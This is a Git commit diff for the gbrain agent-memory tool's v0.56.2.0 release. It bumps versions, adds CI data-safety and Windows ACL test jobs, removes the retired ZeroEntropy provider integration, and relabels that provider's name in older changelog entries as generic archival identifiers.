Skip to content

Garry's Opinionated OpenClaw/Hermes Agent Brain

TypeScript

v0.56.2.0 fix: preserve data safety and retire unsupported provider paths (#5412)

Garry Tandb56c778e8b2
diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json
index 3cfc8258f9..a3a6e07b8c 100644
--- a/.claude-plugin/plugin.json
+++ b/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
"author": {
"name": "Garry Tan",
diff --git a/.codex-plugin/mcp.json b/.codex-plugin/mcp.json
index a86221d7ad..c8b4c9584f 100644
--- a/.codex-plugin/mcp.json
+++ b/.codex-plugin/mcp.json
@@ -71,7 +71,6 @@
"PPLX_API_KEY",
"TOGETHER_API_KEY",
"VOYAGE_API_KEY",
- "ZEROENTROPY_API_KEY",
"ZHIPUAI_API_KEY"
]
}
diff --git a/.codex-plugin/plugin.json b/.codex-plugin/plugin.json
index 365d0dd37a..bb77fc6835 100644
--- a/.codex-plugin/plugin.json
+++ b/.codex-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
"author": {
"name": "Garry Tan",
diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml
index 76b974998f..ee187196c0 100644
--- a/.github/workflows/e2e.yml
+++ b/.github/workflows/e2e.yml
@@ -322,7 +322,7 @@ jobs:
# PARALLEL with tier1 (own postgres service — the old `needs: tier1`
# serialized ~2min for no shared state). The jsonb-parity gate (~40s)
# stays in front as the broken-build SPEND gate: this job burns real
- # OpenAI/Anthropic/ZeroEntropy tokens and must not fire when the build
+ # OpenAI/Anthropic tokens and must not fire when the build
# can't even pass the cheapest DB guard.
needs: jsonb-parity
runs-on: ubuntu-latest
@@ -408,18 +408,13 @@ jobs:
}
EOF
- name: Run Tier 2 skill tests
- run: bun test --timeout=60000 test/e2e/skills.test.ts test/e2e/zeroentropy-live.test.ts
+ run: bun test --timeout=60000 test/e2e/skills.test.ts
env:
DATABASE_URL: postgresql://postgres:postgres@localhost:5432/gbrain_test
# #3485 preload guard: this job intentionally tests against a DB.
GBRAIN_TEST_ALLOW_DATABASE_URL: '1'
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
- # v0.33.3.0: ZE live API tests skip gracefully when this is unset,
- # so forks without the secret stay green. The test exercises the
- # zeroEntropyCompatFetch response-rewriter + URL rewrite + flexible
- # dim handling + gateway.rerank against the real provider.
- ZEROENTROPY_API_KEY: ${{ secrets.ZEROENTROPY_API_KEY }}
# ──────────────────────────────────────────────────────────────────────
# Nightly coverage-full pipeline (schedule-only). The honest
@@ -554,7 +549,6 @@ jobs:
E2E_FILE_TIMEOUT_SECS: '300'
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
- ZEROENTROPY_API_KEY: ${{ secrets.ZEROENTROPY_API_KEY }}
- name: Upload coverage
if: always()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
diff --git a/.github/workflows/native-locks.yml b/.github/workflows/native-locks.yml
index 219d2061c3..445b3a19ec 100644
--- a/.github/workflows/native-locks.yml
+++ b/.github/workflows/native-locks.yml
@@ -78,6 +78,18 @@ jobs:
run: cc -std=c11 native/locks/abi-check.c -o "${{ runner.temp }}/native-abi-check"
- run: bun test --timeout=60000 test/native-lock.test.ts test/pglite-lock.test.ts test/local-ipc-path.test.ts
- run: bun scripts/native/compiled-smoke.ts
+ - name: Verify native data-safety contracts
+ shell: bash
+ env:
+ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1'
+ GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE: ${{ runner.os != 'Linux' && '1' || '0' }}
+ run: |
+ status=0
+ bun --no-env-file test --timeout=180000 test/persistence-publication-native.serial.test.ts || status=1
+ bun --no-env-file test --timeout=180000 test/persistence-git-publication.test.ts || status=1
+ bun --no-env-file test --timeout=180000 test/persistence-sync-origin-native.serial.test.ts || status=1
+ bun --no-env-file test --timeout=180000 test/backup-portability-native.serial.test.ts || status=1
+ exit "$status"
- name: Build the published CLI platforms and verify persistent writes
if: matrix.target == 'linux-x64-glibc' || matrix.target == 'darwin-arm64'
timeout-minutes: 8
@@ -89,6 +101,79 @@ jobs:
bun scripts/native/compiled-smoke.ts --binary bin/gbrain-native-validation
bun scripts/native/cli-persistence-smoke.ts --binary bin/gbrain-native-validation
+ windows-backup-console:
+ name: Windows PowerShell console probe / ${{ matrix.runner }} / Bun ${{ matrix.bun }}
+ runs-on: ${{ matrix.runner }}
+ timeout-minutes: 5
+ strategy:
+ fail-fast: false
+ matrix:
+ include:
+ - runner: windows-2022
+ bun: '1.3.11'
+ - runner: windows-2022
+ bun: '1.3.13'
+ - runner: windows-2022
+ bun: '1.4.2'
+ - runner: windows-11-arm
+ bun: '1.3.11'
+ - runner: windows-11-arm
+ bun: '1.3.13'
+ - runner: windows-11-arm
+ bun: '1.4.2'
+ steps:
+ - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262
+ - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
+ with:
+ bun-version: ${{ matrix.bun }}
+ - run: bun install --frozen-lockfile --ignore-scripts
+ - run: bun scripts/native/verify.ts
+ - name: Compare native hidden-window launch behavior
+ shell: bash
+ env:
+ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1'
+ GBRAIN_TEST_BACKUP_CONSOLE_PROBE: '1'
+ run: |
+ bun --no-env-file test --timeout=180000 --test-name-pattern '^private ACL setup compares hidden and visible PowerShell windows$' test/backup-portability-native.serial.test.ts 2>&1 | tee "$RUNNER_TEMP/backup-console.log"
+ grep -Fq 'Windows backup console controls:' "$RUNNER_TEMP/backup-console.log"
+
+ windows-backup-dotnet:
+ name: Windows ACL API probe / ${{ matrix.runner }} / Bun ${{ matrix.bun }}
+ runs-on: ${{ matrix.runner }}
+ timeout-minutes: 5
+ strategy:
+ fail-fast: false
+ matrix:
+ include:
+ - runner: windows-2022
+ bun: '1.3.11'
+ - runner: windows-2022
+ bun: '1.3.13'
+ - runner: windows-2022
+ bun: '1.4.2'
+ - runner: windows-11-arm
+ bun: '1.3.11'
+ - runner: windows-11-arm
+ bun: '1.3.13'
+ - runner: windows-11-arm
+ bun: '1.4.2'
+ steps:
+ - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262
+ - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
+ with:
+ bun-version: ${{ matrix.bun }}
+ - run: bun install --frozen-lockfile --ignore-scripts
+ - run: bun scripts/native/verify.ts
+ - name: Compare cmdlet and direct dotnet ACL programs
+ shell: bash
+ env:
+ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1'
+ GBRAIN_TEST_BACKUP_DOTNET_PROBE: '1'
+ run: |
+ bun --no-env-file test --timeout=180000 --test-name-pattern '^private (directory|file) ACL setup compares cmdlet and direct dotnet calls$' test/backup-portability-native.serial.test.ts 2>&1 | tee "$RUNNER_TEMP/backup-dotnet.log"
+ grep -Fq 'Windows backup dotnet controls: {"kind":"directory",' "$RUNNER_TEMP/backup-dotnet.log"
+ grep -Fq 'Windows backup dotnet controls: {"kind":"file",' "$RUNNER_TEMP/backup-dotnet.log"
+
musl:
name: ${{ matrix.target }} / Bun ${{ matrix.bun }}
runs-on: ${{ matrix.runner }}
diff --git a/.github/workflows/persistence-validation.yml b/.github/workflows/persistence-validation.yml
index b6fc6c46d3..dbcd9003d6 100644
--- a/.github/workflows/persistence-validation.yml
+++ b/.github/workflows/persistence-validation.yml
@@ -34,12 +34,12 @@ jobs:
with:
bun-version: ${{ matrix.bun }}
- run: bun install --frozen-lockfile --ignore-scripts
- - name: Require three valid samples, 90 percent overlap and at most 50 percent p99 regression
+ - name: Require valid workloads; report the p99 ratio as advisory
env:
DATABASE_URL: postgres://gbrain_test:[email protected]:5432/gbrain_test
run: >-
bun --no-env-file scripts/persistence/performance.ts --engine=${{ matrix.engine }}
- --manifest=.context/persistence-read-latency.json
+ --informational --manifest=.context/persistence-read-latency.json
- if: always()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02
with:
@@ -99,6 +99,7 @@ jobs:
: "${DATABASE_URL:?PostgreSQL contract tests require the explicit test database}"
bun --no-env-file test --timeout=120000 \
test/persistence-admission-observer.test.ts \
+ test/persistence-read-diagnostics.test.ts \
test/persistence-journal.test.ts \
test/persistence-staging.test.ts \
test/persistence-effect-recovery-fairness.test.ts \
@@ -119,6 +120,18 @@ jobs:
test/persistence-recovery-capacity.test.ts \
test/audit/pool-recovery-audit.test.ts \
test/persistence-recovery-fairness.test.ts
+ - name: Require data-safety on PostgreSQL
+ timeout-minutes: 10
+ env:
+ DATABASE_URL: postgres://gbrain_test:[email protected]:5432/gbrain_test
+ GBRAIN_TEST_ALLOW_DATABASE_URL: '1'
+ GBRAIN_CI_DISABLE_TEST_ENV_FILE: '1'
+ run: |
+ : "${DATABASE_URL:?Data-safety tests require the explicit test database}"
+ bun --no-env-file test --timeout=180000 test/persistence-publication-native.serial.test.ts
+ bun --no-env-file test --timeout=180000 test/persistence-sync-origin-native.serial.test.ts
+ bun --no-env-file test --timeout=180000 test/persistence-sync-options.serial.test.ts
+ bun --no-env-file test --timeout=180000 test/persistence-sync-company.serial.test.ts
- name: Require canonical reconciliation through direct and pooled PostgreSQL
timeout-minutes: 5
env:
diff --git a/BOOTSTRAP_FOR_AGENTS.md b/BOOTSTRAP_FOR_AGENTS.md
index 5d6aaf1184..267d06a8e6 100644
--- a/BOOTSTRAP_FOR_AGENTS.md
+++ b/BOOTSTRAP_FOR_AGENTS.md
@@ -1,4 +1,4 @@
-<!-- gbrain-runbook-stamp: 0.56.1.0 -->
+<!-- gbrain-runbook-stamp: 0.56.2.0 -->
<!-- This stamp must equal the VERSION file at every release; CI enforces it
(scripts/check-bootstrap-tag.sh). `gbrain bootstrap status` compares it to
the installed binary and warns on skew. -->
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f48b1c7df4..f6233b5bd2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,107 @@
All notable changes to GBrain will be documented in this file.
+Historical entries use generic identifiers for the retired hosted provider
+and its removed commands.
+Those identifiers and any sample command containing them are non-executable
+archival labels, not supported configuration. Dates, measurements and contributor
+credits are retained; no result has been reassigned to another provider. Original
+identifiers and attribution are available in the pre-removal Git revision
+`6040075c6cb95be5881cc2e1b76ef7d71f4e5d29` (retained on 2026-09-23).
+
+## [0.56.2.0] - 2026-09-24
+
+**Keep valid search data, publish the right file, and restore backups safely.**
+
+Rebuilding search indexes no longer throws away valid older search data just
+because a newer bookkeeping field is missing. Saving a note publishes the
+intended file when its spelling differs only by capitalization on a
+case-insensitive disk. Punctuation in filenames stays literal, and unrelated
+staged edits stay out of that commit.
+
+Sync retains your choices to skip embedding and schema handling when work is
+resumed. Cancellation is checked after reads and before new cursor or request
+transactions commit; already accepted work remains resumable. Historical Windows
+file origins keep their original page identity instead of becoming a deletion
+and replacement.
+
+Backups reject ambiguous archive names rather than guessing which file wins.
+Restoration uses the recorded path format for recognized managed directories
+and keeps uncertain old origins available for review. On Windows, unavailable
+private access controls stop the operation before backup payloads are written.
+The original installation is never replaced by a restore.
+
+The retired hosted provider integration and its obsolete switch command have
+been removed. Existing vectors are not silently converted to another model.
+Re-initialization also protects brains whose only vectors are in facts,
+takes or the query cache. An approved model migration invalidates incompatible
+companion vectors even at the same width, without deleting the memory text.
+Choose a supported provider, preview `gbrain migrate embeddings --dry-run`
+with an explicit target, and approve the migration before any schema change
+or paid re-embedding. See the [migration guide](docs/guides/embedding-migration.md).
+
+### Inspect before resuming work
+
+```bash
+gbrain sources writer status --json
+gbrain backup check --json
+```
+
+Use the original source and options when resuming a pending sync. A blocked
+historical request stays blocked until its cause is reviewed and an explicit
+retry is approved; upgrading does not rewrite its receipt.
+
+| Situation | What changes |
+| --- | --- |
+| Older search data lacks a text-hash stamp | Compatible vectors survive a projection rebuild; genuinely changed content still invalidates them. |
+| Git publishes but the completion record fails | The same effect can retry without creating another commit or including unrelated staged files. |
+| Sync is cancelled before admission | New cursor/request transactions roll back; already accepted receipts remain resumable. |
+| A backup contains conflicting portable names | Verification refuses it instead of overwriting another entry. |
+
+### Things to watch
+
+Claiming a source still does not authorize sync before deliberate writer
+activation. Stop older writers before upgrading owners and consumers together.
+Old imports without recorded processing choices require a reviewed retry.
+This release does not restore previously deleted pages, recompute missing
+vectors, or claim to fix the reported macOS reindex hang. An archive is
+checksummed, not encrypted; test restoration into a new disposable root.
+
+## To take advantage of v0.56.2.0
+
+Follow [the guarded upgrade and retry instructions](skills/migrations/v0.56.2.0.md).
+No new schema migration or automatic repair is required. Keep the original
+database and a verified full backup, preserve existing opt-outs, and inspect
+blocked work before approving a new attempt. No ownership transfer, service
+installation, paid backfill or live repair is implied.
+
+### Itemized changes
+
+- Preserve compatible legacy vectors with NULL text-hash provenance during
+ page projection rebuilds, without treating missing provenance as embedding
+ completion. Contributed by @spiky02plateau.
+- Resolve native file spelling at preparation and queued Git execution,
+ retain frozen request/effect identities and enforce literal target-only Git
+ publication with bounded deletion checks.
+- Guard historical sync origins at discovery, freeze, preparation and locked
+ publication. Retain explicit processing choices and reject unknown old
+ consent, changed authority, roots and unsafe deletion records.
+- Separate portable archive validation from native confinement, rebase
+ recognized nested paths, retain quarantine and enforce Windows private
+ staging before payload writes.
+
+### For contributors
+
+- Add raw-state vector, real-journal Git, native origin, backup roundtrip and
+ cancellation/restart controls; repair gateway fixture isolation and the
+ serve-owner crash test's retained-lease expectations.
+- Run native safety contracts and explicit PostgreSQL parity lanes, require
+ evidence-backed wave acceptance, and document the bounded Linux PGLite
+ pressure reproduction without changing the engine or closing #5284.
+- Report loaded-versus-idle read latency as advisory in CI. Keep measured
+ threshold misses visible, while invalid workloads and failed reads or
+ writes still block the check. Explicit local strict runs remain available.
+
## [0.56.1.0] - 2026-09-24
**Meeting imports tell you what they could read, and crowded timelines no longer stall extraction.**
@@ -1913,7 +2014,7 @@ before retrying.
**Your search reranker now runs on Voyage, and every surface tells you whether it is actually running.**
The cross-encoder reranker that `balanced` and `tokenmax` search modes run
-after fusion used to default to a ZeroEntropy model whose hosted API shuts
+after fusion used to default to a retired hosted provider model whose hosted API shuts
down on 2026-09-04. This release moves the default to Voyage `rerank-2.5`
ahead of that date. It rides the same `VOYAGE_API_KEY` as the embedding
default, so a brain that already embeds with Voyage reranks with no extra
@@ -1942,7 +2043,7 @@ No Voyage key and no wish to rerank: `gbrain config set search.reranker.enabled
- Every cached search result set is re-keyed once by this flip (the reranker
model is part of the cache key in all three modes). One cold pass, then the
cache refills within `cache.ttl_seconds` (default 3600).
-- A brain that explicitly configured a ZeroEntropy `zerank-*` reranker keeps
+- A brain that explicitly configured a retired hosted provider `retired-reranker-*` reranker keeps
it until 2026-09-04; from that date the dead hosted call is skipped before
any HTTP, with one audit row per process and a single stderr line naming
the switch command.
@@ -2066,8 +2167,8 @@ warns about the reranker:
- **Reranker default → `voyage:rerank-2.5` in all three mode bundles.**
`DEFAULT_RERANKER_MODEL` in `src/core/ai/defaults.ts` is the one code home;
`src/core/search/mode.ts` and `src/core/ai/gateway.ts` import it. The
- retired ZeroEntropy value stays a named constant (`LEGACY_DEFAULT_RERANKER_MODEL`)
- for the sunset row, so an explicit `zeroentropyai:*` config still
+ retired hosted provider value stayed a named historical constant
+ for the sunset row, so an explicit `retired-provider:*` config still
short-circuits past the date instead of hanging five seconds per query.
- **Keyless brains fail open quietly.** `gateway.rerank()` skips a reranker
whose provider key is absent before any HTTP call (`RerankError('no_key')`):
@@ -2110,11 +2211,11 @@ warns about the reranker:
- **Remote MCP callers** (`search_modes`) get the reranker verdict without the
host's provider-key inventory or self-host topology; the local CLI dashboard
keeps the full readiness line.
-- **Init:** a ZeroEntropy embedding pick is treated like any other keyed
+- **Init:** a retired hosted provider embedding pick is treated like any other keyed
non-Voyage install (`search.reranker.enabled false` without a Voyage key), and
a `--force` re-init sees a Voyage key that lives only in the brain's config
table.
-- **ZeroEntropy detection everywhere** (`rerankerSunset`, the upgrade banner,
+- **retired hosted provider detection everywhere** (`rerankerSunset`, the upgrade banner,
the doctor checks, init) matches the provider id case-insensitively and in the
`provider/model` form, the same way the gateway resolves it.
@@ -2130,7 +2231,7 @@ warns about the reranker:
`test/rerank-no-key.serial.test.ts`, `test/hybrid-reranker-skipped.serial.test.ts`,
`test/doctor-reranker-health.test.ts`, `test/modes-report-reranker.test.ts`,
`test/init-reranker-default.test.ts`; the sunset short-circuit suite now
- pins the explicit-ZE scenario plus the live-default-after-the-date case.
+ pins the explicit-retired provider scenario plus the live-default-after-the-date case.
## [0.48.1.0] - 2026-09-02
@@ -4866,7 +4967,7 @@ open community PRs by @Masashi-Ono0611 — thank you.
save failed with a dim mismatch. Model-id matching is now case-folded at
every lookup (dimensions, init-time validation, pricing), while wire
strings and error messages keep your original casing. Deliberate
- consequence: a cased Voyage/ZeroEntropy/Perplexity config that was
+ consequence: a cased Voyage/retired hosted provider/Perplexity config that was
silently producing wrong-width vectors now fails loudly at init with the
valid sizes, instead of corrupting quietly.
- **Query-expansion and image-OCR spend now count against budget caps.**
@@ -5279,7 +5380,7 @@ that impossible.
### Changed
-- **`gbrain ze-switch` is now a pure refusal/redirect shim.** `--help` leads
+- **`gbrain retired-provider-switch` is now a pure refusal/redirect shim.** `--help` leads
with RETIRED, the sunset date, and the one maintained off-ramp
(`gbrain migrate embeddings --to voyage:voyage-4 --dim 1024`), and it now
actually reaches you through the compiled binary (the generic help
@@ -5288,12 +5389,12 @@ that impossible.
`--non-interactive`, `--force`, …) are still accepted so old scripts get
the refusal message instead of an unknown-flag error — even on a machine
with no brain configured.
-- **Two scripted contracts changed deliberately:** `ze-switch --undo` no
+- **Two scripted contracts changed deliberately:** `retired-provider-switch --undo` no
longer acts — it prints the exact `gbrain migrate embeddings` command that
returns the brain to its pre-switch provider (the retired action wrote
config the runtime never read and emptied vectors with no verified
- re-embed); and `ze-switch --dry-run --json` now returns
- `{status:'refused', reason:'provider_sunset'}` with exit 1 instead of a
+ re-embed); and `retired-provider-switch --dry-run --json` now returns
+ a provider-retirement refusal envelope with exit 1 instead of a
machine-readable plan targeting the dying provider (`status:'planned'`,
exit 0). JSON envelopes carry both `…_preview` (cost preview) and live
command fields, and every command those envelopes render preserves an
@@ -5347,8 +5448,8 @@ that impossible.
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024
```
Your agent can follow `skills/migrations/v0.46.3.0.md` end to end.
-3. **Things to watch:** scripts that parsed `ze-switch --dry-run --json`'s
- old `planned` envelope or relied on `ze-switch --undo` acting in place
+3. **Things to watch:** scripts that parsed `retired-provider-switch --dry-run --json`'s
+ old `planned` envelope or relied on `retired-provider-switch --undo` acting in place
must switch to `gbrain migrate embeddings` (the printed guidance names
the exact command, including your `--brain` selector). If anything looks
wrong, file an issue with `gbrain doctor` output:
@@ -5894,7 +5995,7 @@ nothing changes; this release adds a client, it doesn't modify brain
behavior.
## [0.46.3.0] - 2026-08-15
-**ZeroEntropy is shutting down on 2026-09-04 — gbrain now gets you off it
+**retired hosted provider is shutting down on 2026-09-04 — gbrain now gets you off it
before that date costs you retrieval.** The provider that shipped as the
default embedding + reranking stack from v0.36 through v0.46 is winding down
its hosted API. This release makes the transition a guided, one-command move
@@ -5909,7 +6010,7 @@ instead of a surprise outage:
touchpoints. The v4 family shares one embedding space, so you can later
point queries at `voyage-4-large` or `-lite` without re-indexing.
- **Nothing changes out from under existing brains.** A brain configured for
- ZeroEntropy (or riding the old default) keeps working exactly as before until
+ retired hosted provider (or riding the old default) keeps working exactly as before until
the shutdown date — this release only detects, warns, and hands you the
playbook. Every surface that used to steer you toward the dying provider
(init auto-pick, the interactive picker, `gbrain providers`, setup hints)
@@ -5926,13 +6027,12 @@ instead of a surprise outage:
columns), prints an ACTION REQUIRED notice with the blast radius and cost
estimate, and files a durable action item pointing at the agent playbook
(`skills/migrations/v0.46.3.0.md`). `gbrain doctor`'s provider check now
- prints width-aware paste-ready commands, and its documented suppression
- switch (`gbrain config set doctor.suppress_provider_sunset true`) actually
- works now.
-- `gbrain ze-switch` no longer switches brains onto the sunsetting provider
+ printed width-aware paste-ready commands, and the historical
+ provider-warning suppression switch became effective.
+- `gbrain retired-provider-switch` no longer switches brains onto the sunsetting provider
(`--undo` still moves brains off it), and `gbrain migrate embeddings` refuses
a re-embed onto a provider with an announced shutdown — self-hosters with a
- wire-compatible endpoint pass `--force-sunset-target`. Voyage's
+ wire-compatible endpoint had an explicit override (now removed). Voyage's
`voyage-code-4` is available for code-heavy brains.
- Setup fixes that ride along: init now detects provider keys stored in
`~/.gbrain/config.json` (file plane), not just env vars; a keyless brain
@@ -5950,7 +6050,7 @@ instead of a surprise outage:
gbrain doctor
```
2. **If the upgrade printed ACTION REQUIRED** (or doctor flags
- `provider_sunset`): run the printed migrate command before 2026-09-04, or
+ the historical provider-retirement check): run the printed migrate command before 2026-09-04, or
hand your agent `skills/migrations/v0.46.3.0.md` — it walks the whole
switch, including the reranker and edge cases.
3. **Things to watch:** existing brains see zero behavior change from this
@@ -7756,7 +7856,7 @@ More AI providers work out of the box, including OpenRouter prompt caching, Mini
- Provider base URL config merges from the DB. (#1676, contributed by @TheLordArgus)
- The gateway falls back to the pooler when the derived direct host is unreachable. (#1641, #3088, contributed by @time-attack)
- Config-plane `voyage_api_key` folds into `VOYAGE_API_KEY` like the other hosted keys. (#3236, contributed by @Masashi-Ono0611)
-- The `zeroentropyai:zerank-2` reranker has a pricing entry so the budget tracker can meter it. (#3223, #3233, contributed by @Masashi-Ono0611)
+- The `retired-provider:retired-reranker-2` reranker has a pricing entry so the budget tracker can meter it. (#3223, #3233, contributed by @Masashi-Ono0611)
- llama-server embedding batches are capped at its 32-input request limit. (#1281, contributed by @mmekkaoui)
- Matryoshka dimensions thread through for Qwen3-Embedding on Ollama. (#1072, contributed by @mgandal)
- `init` seeds AI options from env on cold install, and `whoami` reports the stdio transport. (#3091, contributed by @time-attack)
@@ -8238,7 +8338,7 @@ Along the way the wave fixed a deeper, silent bug: PGLite's WASM runtime writes
- **Slow operations are no longer killed mid-run with a false success.** The teardown deadline starts at teardown, never before the operation handler — a 30-second sync or a deep query runs to completion.
- **Error exits on PGLite report exit 1, not 0.** Failed operations (e.g. `gbrain get <missing-page>`) now exit non-zero on every engine; the exit code reports the operation, not the cleanup.
- **Piped output survives the exit.** Output is fenced and given a delivery window before the process exits, on every routed exit path including the backstop (the truncation class from gbrain#1959).
-- **`gbrain doctor` no longer leaks its connection pool when DB checks throw**, and `dream`, `doctor`, `ze-switch`, and the search dashboards route their dispatcher teardown through the same bounded path (closing a long-standing drain gap on the overnight-cron path).
+- **`gbrain doctor` no longer leaks its connection pool when DB checks throw**, and `dream`, `doctor`, `retired-provider-switch`, and the search dashboards route their dispatcher teardown through the same bounded path (closing a long-standing drain gap on the overnight-cron path).
- **Daemon safety with space-separated global flags.** `gbrain --timeout 30s serve` is recognized as the daemon it is — the exit gate resolves the command exactly the way dispatch does.
### Added
@@ -9059,9 +9159,9 @@ If anything looks off, file an issue with the output of `gbrain doctor`: https:/
- **`src/core/code-graph-readiness.ts` (new)** — `resolveCodeReadiness(engine, {kind, count, sourceId?, allSources?})` returns `{status: 'not_built' | 'indexing' | 'ready' | 'unknown', ready, has_code, pending_edges}`. `count > 0` short-circuits to `ready` with no query; on empty it runs `EXISTS` probes (no `page_kind` index needed; the pending probe rides the partial `idx_content_chunks_edges_backfill`). `kind: 'symbol'` (code-def/refs) is 2-state and brain-wide; `kind: 'edge'` (callers/callees) is 3-state and source-scoped, with the pending predicate mirroring the resolver (`edges_backfilled_at IS NULL OR < EDGE_EXTRACTOR_VERSION_TS`) so a resolver-version bump doesn't falsely report `ready`. Scope matches the result query's `deleted_at` posture; any DB error returns `unknown` (fail-open). `readinessHint()` renders the human one-liner.
- **`src/commands/code-def.ts`, `code-refs.ts`, `code-callers.ts`, `code-callees.ts`** — each JSON envelope gains `status` + `ready`; human output prints the hint when not ready. callers/callees pass their resolved `sourceId` / `allSources`; def/refs query brain-wide.
- **`src/core/operations.ts`** — the four `code_*` MCP op handlers stamp `status` + `ready` on their result envelopes.
-- **`src/core/init-embed-check.ts` (new)** — `runInitEmbedCheck()` builds the effective env (process.env + file-plane `openai/anthropic/zeroentropy_api_key` + `--key`), reconfigures the gateway via `buildGatewayConfig`, runs `diagnoseEmbedding` (config-only), then a best-effort `liveTestEmbed` (1 token, 5s `AbortController` timeout, never throws). Init-specific warning names `--no-embedding` / `--skip-embed-check`.
+- **`src/core/init-embed-check.ts` (new)** — `runInitEmbedCheck()` builds the effective env (process.env + file-plane `openai/anthropic/retired-provider_api_key` + `--key`), reconfigures the gateway via `buildGatewayConfig`, runs `diagnoseEmbedding` (config-only), then a best-effort `liveTestEmbed` (1 token, 5s `AbortController` timeout, never throws). Init-specific warning names `--no-embedding` / `--skip-embed-check`.
- **`src/core/ai/build-gateway-config.ts` (new)** — `buildGatewayConfig` extracted from `src/cli.ts` (which now re-exports it) so core modules reuse it without importing the CLI entrypoint. Folds file-plane API keys + provider base URLs into the gateway config; `process.env` wins.
-- **`src/commands/init.ts`** — new `--skip-embed-check` flag (also `GBRAIN_INIT_SKIP_EMBED_CHECK=1`); replaces the prior ZeroEntropy-only warning in both the PGLite and Postgres paths with the generalized check; `embedding_check {ok, reason?, live_ok?}` added to the `--json` success envelope; help text updated.
+- **`src/commands/init.ts`** — new `--skip-embed-check` flag (also `GBRAIN_INIT_SKIP_EMBED_CHECK=1`); replaces the prior retired hosted provider-only warning in both the PGLite and Postgres paths with the generalized check; `embedding_check {ok, reason?, live_ok?}` added to the `--json` success envelope; help text updated.
- **`src/core/db-lock.ts`** — `tryAcquireDbLock` adds same-host dead-pid auto-takeover (guarded `DELETE WHERE id=$1 AND holder_pid=$2` + one normal-upsert retry returning the standard handle). New exported `classifyHolderLiveness` / `isHolderDeadLocally` (injectable `process.kill` seam; `HOLDER_TAKEOVER_GRACE_MS = 60_000`; EPERM classified as `alive`, never reclaimed). TTL-expired locks stay the upsert's job; cross-host stays TTL-only.
- **`src/commands/sync.ts`** — `runBreakLock`'s safe path consumes the shared `classifyHolderLiveness` predicate, fixing the prior bug where any `process.kill` throw (including EPERM) counted the holder as dead.
- **Tests** — `test/code-graph-readiness.test.ts` (11), `test/db-lock-auto-takeover.test.ts` (11), `test/init-embed-check.test.ts` (9, hermetic via the gateway embed-transport seam + `withEnv`), plus readiness-envelope cases added to `test/e2e/code-intel-mcp-ops-pglite.test.ts`. Closes #1780.
@@ -13476,7 +13576,7 @@ lifecycle to manage and no duplicate-extraction risk.
The next run picks them up cleanly.
- **`facts.embedding` now warns on dimension drift.** If your brain's
`facts.embedding` column is `halfvec(1536)` and you've configured a
- 1280-dim provider (like ZeroEntropy's `zembed-1`), `gbrain doctor`
+ 1280-dim provider (like retired hosted provider's `retired-embedding-1`), `gbrain doctor`
surfaces the mismatch with a paste-ready ALTER recipe. Also fires as
a preflight at the top of every fact-writing path (extraction,
cycle phase, `facts:absorb` op) so new users get a clear ALTER
@@ -14208,7 +14308,7 @@ All six folded into the shipped wave per the codex consult on the plan file. The
### Itemized changes
-**Closes:** [#1422](https://github.com/garrytan/gbrain/issues/1422), [#1433](https://github.com/garrytan/gbrain/issues/1433), [#1434](https://github.com/garrytan/gbrain/issues/1434), [#1436](https://github.com/garrytan/gbrain/issues/1436), [#1309](https://github.com/garrytan/gbrain/issues/1309). Verified-fixed: [#1437](https://github.com/garrytan/gbrain/issues/1437) (closed). Deferred to v0.42+: [#1435](https://github.com/garrytan/gbrain/issues/1435) (closed with TODO), [#1432](https://github.com/garrytan/gbrain/issues/1432) (overlaps PR #1450 ze-switch), [#1438](https://github.com/garrytan/gbrain/issues/1438) (covered by PR #1440's `validateEmbeddingCreds()` preflight).
+**Closes:** [#1422](https://github.com/garrytan/gbrain/issues/1422), [#1433](https://github.com/garrytan/gbrain/issues/1433), [#1434](https://github.com/garrytan/gbrain/issues/1434), [#1436](https://github.com/garrytan/gbrain/issues/1436), [#1309](https://github.com/garrytan/gbrain/issues/1309). Verified-fixed: [#1437](https://github.com/garrytan/gbrain/issues/1437) (closed). Deferred to v0.42+: [#1435](https://github.com/garrytan/gbrain/issues/1435) (closed with TODO), [#1432](https://github.com/garrytan/gbrain/issues/1432) (overlaps PR #1450 retired-provider-switch), [#1438](https://github.com/garrytan/gbrain/issues/1438) (covered by PR #1440's `validateEmbeddingCreds()` preflight).
**Reports:** infiniteGameExp's seven-issue triage on 2026-05-25 + foxhoundinc's #1422 separately. All from real production deployments hitting the bugs in the first 24 hours of use.
@@ -14271,9 +14371,9 @@ New tests: `test/operations-fuzzy-source-scope.test.ts` (6 PGLite cases: scalar
### To take advantage of v0.41.13.0
## [0.41.12.0] - 2026-05-25
-**`gbrain ze-switch` no longer silently breaks multimodal search on brains that mix text and image embeddings.**
+**`gbrain retired-provider-switch` no longer silently breaks multimodal search on brains that mix text and image embeddings.**
